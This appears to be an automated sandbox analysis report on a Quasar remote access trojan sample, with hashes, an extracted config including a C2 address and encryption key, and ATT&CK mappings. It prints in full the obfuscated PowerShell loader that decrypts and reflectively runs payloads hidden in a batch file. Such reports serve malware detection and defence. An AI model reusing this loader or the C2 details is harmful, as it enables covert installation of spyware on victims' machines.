quasar | 79173bee83878cae44d9fc21fa85590711a92edc2d43caafb1350eb2800e72d7

General

Target

Client-built.bat
Size

1.6MB
MD5

a7aa482ba1ee0ea8d147d628d5a65f05
SHA1

91e3a640c294a36697d9759a29072fdb4ab62346
SHA256

79173bee83878cae44d9fc21fa85590711a92edc2d43caafb1350eb2800e72d7
SHA512

a27dae71d85910609682cc324d4c4cf5c2e772f0a57209d2fbdc3e345538487d1262148b01b16df8cfb52c3c2a72ae04eb381f7dcf33d77c01d532d421e93a32
SSDEEP

24576:tkjkTu1rkvOjvCsDjTprQ50JDzRj2umzby88rBFjB9a/In5PJBmpR4JRej08SG84:t859kWf+gEJe8yBBl+pIVX4

Score

10^/10

quasar office04 execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

85.209.133.15:111

Mutex

4427abb1-66d5-405b-a340-061f8386d8c1

Attributes

encryption_key
A0083941CFC8C27C9F733BBA0ECD4E4B76BD61E8
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/748-15-0x000002A721AA0000-0x000002A721DC4000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
748	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
748	powershell.exe
748	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	748	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
748	powershell.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
748	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4480 wrote to memory of 748	4480	cmd.exe	84
PID 4480 wrote to memory of 748	4480	cmd.exe	84

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p6NsuP0HTePf1oSATs8T+qB1p4ZrLbvAIaEmbH1pdsE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Kxx6XOKog+oT5+kzMuvMwA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HWbzm=New-Object System.IO.MemoryStream(,$param_var); $PCqqJ=New-Object System.IO.MemoryStream; $ePDKE=New-Object System.IO.Compression.GZipStream($HWbzm, [IO.Compression.CompressionMode]::Decompress); $ePDKE.CopyTo($PCqqJ); $ePDKE.Dispose(); $HWbzm.Dispose(); $PCqqJ.Dispose(); $PCqqJ.ToArray();}function execute_function($param_var,$param2_var){ $GchUI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZfPjM=$GchUI.EntryPoint; $ZfPjM.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$QJrfq=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Client-built.bat').Split([Environment]::NewLine);foreach ($aydBO in $QJrfq) { if ($aydBO.StartsWith(':: ')) { $CdaqF=$aydBO.Substring(3); break; }}$payloads_var=[string[]]$CdaqF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3qnncbzm.vvz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/748-0-0x00007FFDBE8A3000-0x00007FFDBE8A5000-memory.dmp

Filesize
8KB

Download
memory/748-1-0x000002A7088F0000-0x000002A708912000-memory.dmp

Filesize
136KB

Download
memory/748-11-0x00007FFDBE8A0000-0x00007FFDBF361000-memory.dmp

Filesize
10.8MB

Download
memory/748-12-0x00007FFDBE8A0000-0x00007FFDBF361000-memory.dmp

Filesize
10.8MB

Download
memory/748-13-0x000002A708960000-0x000002A708968000-memory.dmp

Filesize
32KB

Download
memory/748-14-0x000002A720D30000-0x000002A720E62000-memory.dmp

Filesize
1.2MB

Download
memory/748-15-0x000002A721AA0000-0x000002A721DC4000-memory.dmp

Filesize
3.1MB

Download
memory/748-16-0x00007FFDBE8A0000-0x00007FFDBF361000-memory.dmp

Filesize
10.8MB

Download
memory/748-17-0x000002A722520000-0x000002A722570000-memory.dmp

Filesize
320KB

Download
memory/748-18-0x000002A722630000-0x000002A7226E2000-memory.dmp

Filesize
712KB

Download
memory/748-19-0x000002A7228C0000-0x000002A722A82000-memory.dmp

Filesize
1.8MB

Download

Analysis

Sharing